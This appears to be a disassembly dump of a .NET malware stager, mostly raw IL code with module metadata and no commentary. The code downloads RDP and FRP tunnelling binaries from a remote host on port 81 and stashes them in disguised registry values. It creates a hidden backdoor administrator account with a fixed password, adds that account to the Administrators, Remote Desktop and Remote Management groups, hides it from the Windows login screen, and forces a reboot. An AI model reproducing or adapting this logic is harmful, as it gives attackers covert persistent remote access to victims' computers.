ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0B7A: ldloca.s V_51 leave.s IL_0960: ldstr "net" ldloc.s V_56 brfalse.s IL_095F: endfinally ldloc.s V_56 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr net ldstr user " ldloc.s V_55 ldstr " "" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_57 ldloc.s V_57 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() stloc.s V_58 ldloc.s V_57 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardError() callvirt System.String System.IO.TextReader::ReadToEnd() stloc.s V_59 ldloc.s V_57 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr net user output: ldloc.s V_58 call System.String System.String::Concat(System.String,System.String) ldc.i4.2 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr net user error: ldloc.s V_59 call System.String System.String::Concat(System.String,System.String) ldc.i4.2 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_57 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() ldc.i4 8646 bne.un.s IL_0A0C: ldloc.s V_57 ldstr Microsoft account detected, creating new local user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> stloc.s V_48 leave IL_0B86: leave.s IL_0B96 ldloc.s V_57 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() brfalse.s IL_0A1A: leave.s IL_0A28 leave IL_0B7A: ldloca.s V_51 leave.s IL_0A28: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_57 brfalse.s IL_0A27: endfinally ldloc.s V_57 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un.s IL_0A89: ldstr "gpupdate" ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-555') -Member ' ldloc.s V_55 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_60 ldloc.s V_60 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0A89: ldstr "gpupdate" ldloc.s V_60 brfalse.s IL_0A88: endfinally ldloc.s V_60 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr gpupdate ldstr /force newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_61 ldloc.s V_61 ldc.i4 30000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr gpupdate exit code: {0} ldloc.s V_61 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0AF2: ldstr "powershell" ldloc.s V_61 brfalse.s IL_0AF1: endfinally ldloc.s V_61 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-580') -Member ' ldloc.s V_55 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_62 ldloc.s V_62 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0B4B: ldc.i4.1 ldloc.s V_62 brfalse.s IL_0B4A: endfinally ldloc.s V_62 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.1 <null> stloc.s V_48 ldstr Configured user: ldloc.s V_55 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0B86: leave.s IL_0B96 stloc.s V_63 ldstr Error configuring candidate {0}: {1} ldloc.s V_55 ldloc.s V_63 call System.String System.String::Format(System.String,System.Object,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0B7A: ldloca.s V_51 ldloca.s V_51 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_08BF: ldloca.s V_51 leave.s IL_0B96: ldc.i4.0 ldloca.s V_51 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> stloc.s V_50 ldstr if (Get-LocalUser | Where-Object { $_.Description -eq ' ldloc.s V_49 ldstr ' }) { exit 1 } else { exit 0 } call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_64 ldstr powershell ldstr -Command " ldloc.s V_64 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_65 ldloc.s V_65 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_65 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() ldc.i4.1 <null> bne.un.s IL_0BFB: leave.s IL_0C09 ldc.i4.1 <null> stloc.s V_50 ldstr A user with the 'SysMaintenance' description already exists. Skipping creation. ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0C09: leave.s IL_0C21 ldloc.s V_65 brfalse.s IL_0C08: endfinally ldloc.s V_65 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0C21: ldloc.s V_48 stloc.s V_66 ldstr Error checking for existing maintenance user: {0} ldloc.s V_66 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0C21: ldloc.s V_48 ldloc.s V_48 brtrue IL_0ED9: leave.s IL_0EF1 ldloc.s V_50 brtrue IL_0ED9: leave.s IL_0EF1 ldstr Creating new local user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.3 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr Administrator stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr Admin stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr Windows stelem.ref <null> stloc.s V_67 ldc.i4.0 <null> stloc.s V_13 br IL_0EBF: ldloc.s V_13 ldloc.s V_67 ldloc.s V_13 ldelem.ref <null> stloc.s V_68 ldstr net ldc.i4.5 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr user " stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_68 stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr " "ADAD" /add /comment:" stelem.ref <null> dup <null> ldc.i4.3 <null> ldloc.s V_49 stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr " stelem.ref <null> call System.String System.String::Concat(System.String[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_69 ldloc.s V_69 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() pop <null> ldloc.s V_69 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardError() callvirt System.String System.IO.TextReader::ReadToEnd() pop <null> ldloc.s V_69 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldloc.s V_69 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() brtrue IL_0E94: ldstr "Failed to create user " ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-544') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_70 ldloc.s V_70 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0D4F: ldstr "powershell" ldloc.s V_70 brfalse.s IL_0D4E: endfinally ldloc.s V_70 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-555') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_71 ldloc.s V_71 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0DA8: ldstr "powershell" ldloc.s V_71 brfalse.s IL_0DA7: endfinally ldloc.s V_71 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-580') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_72 ldloc.s V_72 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0E01: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldloc.s V_72 brfalse.s IL_0E00: endfinally ldloc.s V_72 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String) stloc.s V_73 ldloc.s V_73 ldloc.s V_68 ldc.i4.0 <null> box System.Int32 ldc.i4.4 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) leave.s IL_0E30: ldstr "gpupdate" ldloc.s V_73 brfalse.s IL_0E2F: endfinally ldloc.s V_73 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr gpupdate ldstr /force newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_74 ldloc.s V_74 ldc.i4 30000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0E7D: ldc.i4.1 ldloc.s V_74 brfalse.s IL_0E7C: endfinally ldloc.s V_74 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.1 <null> stloc.s V_48 ldstr Created and configured new user: ldloc.s V_68 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0ECA: ldloc.s V_48 ldstr Failed to create user ldloc.s V_68 ldstr , trying next call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EB9: ldloc.s V_13 ldloc.s V_69 brfalse.s IL_0EB8: endfinally ldloc.s V_69 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_13 ldc.i4.1 <null> add <null> stloc.s V_13 ldloc.s V_13 ldloc.s V_67 ldlen <null> conv.i4 <null> blt IL_0C62: ldloc.s V_67 ldloc.s V_48 brtrue.s IL_0ED9: leave.s IL_0EF1 ldstr Failed to create any new user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EF1: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_75 ldstr Error configuring user(s): {0} ldloc.s V_75 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EF1: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un IL_0F88: leave.s IL_0F94 ldstr Initiating reboot in 2 minutes for admin ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr shutdown ldstr /r /t 120 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_76 ldloc.s V_76 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr Reboot command exit code: {0} ldloc.s V_76 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0F70: leave.s IL_0F94 ldloc.s V_76 brfalse.s IL_0F6F: endfinally ldloc.s V_76 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0F94: ret stloc.s V_77 ldstr Error initiating reboot: {0} ldloc.s V_77 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0F94: ret leave.s IL_0F94: ret ldloc.0 <null> brfalse.s IL_0F93: endfinally ldloc.0 <null> callvirt System.Void System.Threading.Mutex::ReleaseMutex() endfinally <null> ret <null>

Module Name

js5ey5gh.v3i.exe

Full Name

js5ey5gh.v3i.exe

EntryPoint

System.Void StandaloneProgram.Program::Main()

Scope Name

js5ey5gh.v3i.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v2.0.50727

Tables Header Version

512

WinMD Version

<null>

Assembly Name

js5ey5gh.v3i

Assembly Version

0.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

245

Main Method

System.Void StandaloneProgram.Program::Main()

Main IL Instruction Count

1331

Main IL

ldnull <null> stloc.0 <null> call System.Int32 StandaloneProgram.Program::DetermineIntegrity() stsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un.s IL_001E: ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4 20000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt.s IL_0050: ldstr "C:\\AdsPower" ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> beq.s IL_0035: ldstr "Global\\SystemStagerMutex" ldstr Global\AdminStagerMutex br.s IL_003A: stloc.s V_10 ldstr Global\SystemStagerMutex stloc.s V_10 ldc.i4.1 <null> ldloc.s V_10 ldloca.s V_11 newobj System.Void System.Threading.Mutex::.ctor(System.Boolean,System.String,System.Boolean&) stloc.0 <null> ldloc.s V_11 brtrue.s IL_0050: ldstr "C:\\AdsPower" leave IL_0F94: ret ldstr C:\AdsPower dup <null> call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr proxy_error{0}.txt ldsfld System.Int32 StandaloneProgram.Program::integrity box System.Int32 call System.String System.String::Format(System.String,System.Object) call System.String System.IO.Path::Combine(System.String,System.String) stsfld System.String StandaloneProgram.Program::logFile ldstr Determined integrity level: {0} (4=SYSTEM,3=Admin,2=User) ldsfld System.Int32 StandaloneProgram.Program::integrity box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr http://khkjhjkhjkhjkhkjkj.com:81 stloc.1 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr http:// ldstr callvirt System.String System.String::Replace(System.String,System.String) ldstr https:// ldstr callvirt System.String System.String::Replace(System.String,System.String) ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 47 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stloc.2 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr /hosted/RDPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.3 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr /hosted/FRPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.s V_4 ldloc.2 <null> ldc.i4 7000 call System.String StandaloneProgram.Program::SelectServerIP(System.String,System.Int32) stloc.s V_5 ldstr Selected server IP: ldloc.s V_5 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> newobj System.Void System.Uri::.ctor(System.String) stloc.s V_6 ldloc.s V_5 stloc.s V_7 ldloc.s V_6 callvirt System.Int32 System.Uri::get_Port() ldloc.s V_6 callvirt System.String System.Uri::get_Scheme() ldstr https call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0188: ldc.i4 443 ldc.i4.s 80 br.s IL_018D: beq.s IL_01AD ldc.i4 443 beq.s IL_01AD: ldloc.s V_6 ldloc.s V_7 ldstr : ldloc.s V_6 callvirt System.Int32 System.Uri::get_Port() stloc.s V_13 ldloca.s V_13 call System.String System.Int32::ToString() call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_7 ldloc.s V_6 callvirt System.String System.Uri::get_Scheme() ldstr :// ldloc.s V_7 ldloc.s V_6 callvirt System.String System.Uri::get_AbsolutePath() ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 47 stelem.i2 <null> callvirt System.String System.String::TrimEnd(System.Char[]) call System.String System.String::Concat(System.String,System.String,System.String,System.String) dup <null> ldstr /hosted/RDPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.3 <null> ldstr /hosted/FRPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.s V_4 ldc.i4.0 <null> stloc.s V_8 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.0 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_14 ldloc.s V_14 brfalse.s IL_0224: leave.s IL_0232 ldloc.s V_14 ldstr IconSizeVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) brfalse.s IL_0224: leave.s IL_0232 ldc.i4.1 <null> stloc.s V_8 ldstr RDPWrapper already exists in HKLM, skipping download ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0232: ldloc.s V_8 ldloc.s V_14 brfalse.s IL_0231: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brtrue.s IL_0292: ldc.i4.0 ldstr Downloading RDPWrapper... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.3 <null> call System.Byte[] StandaloneProgram.Program::DownloadBinary(System.String) stloc.s V_15 ldloc.s V_15 brfalse.s IL_0287: ldstr "Failed to download RDPWrapper" ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.2 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String,Microsoft.Win32.RegistryKeyPermissionCheck) stloc.s V_16 ldloc.s V_16 ldstr IconSizeVersion1 ldloc.s V_15 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldstr RDPWrapper downloaded to HKCU ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0292: ldc.i4.0 ldloc.s V_16 brfalse.s IL_0286: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr Failed to download RDPWrapper ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> stloc.s V_9 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.0 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_17 ldloc.s V_17 brfalse.s IL_02C7: leave.s IL_02D5 ldloc.s V_17 ldstr IconUnderlineVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) brfalse.s IL_02C7: leave.s IL_02D5 ldc.i4.1 <null> stloc.s V_9 ldstr FRP binary already exists in HKLM, skipping download ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_02D5: ldloc.s V_9 ldloc.s V_17 brfalse.s IL_02D4: endfinally ldloc.s V_17 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brtrue.s IL_0336: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Downloading FRP binary... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_4 call System.Byte[] StandaloneProgram.Program::DownloadBinary(System.String) stloc.s V_18 ldloc.s V_18 brfalse.s IL_032B: ldstr "Failed to download FRP binary" ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.2 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String,Microsoft.Win32.RegistryKeyPermissionCheck) stloc.s V_19 ldloc.s V_19 ldstr IconUnderlineVersion1 ldloc.s V_18 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldstr FRP binary downloaded to HKCU ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0336: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_19 brfalse.s IL_032A: endfinally ldloc.s V_19 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr Failed to download FRP binary ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.2 <null> bne.un.s IL_0383: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Not admin/system, escalating privileges... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) call 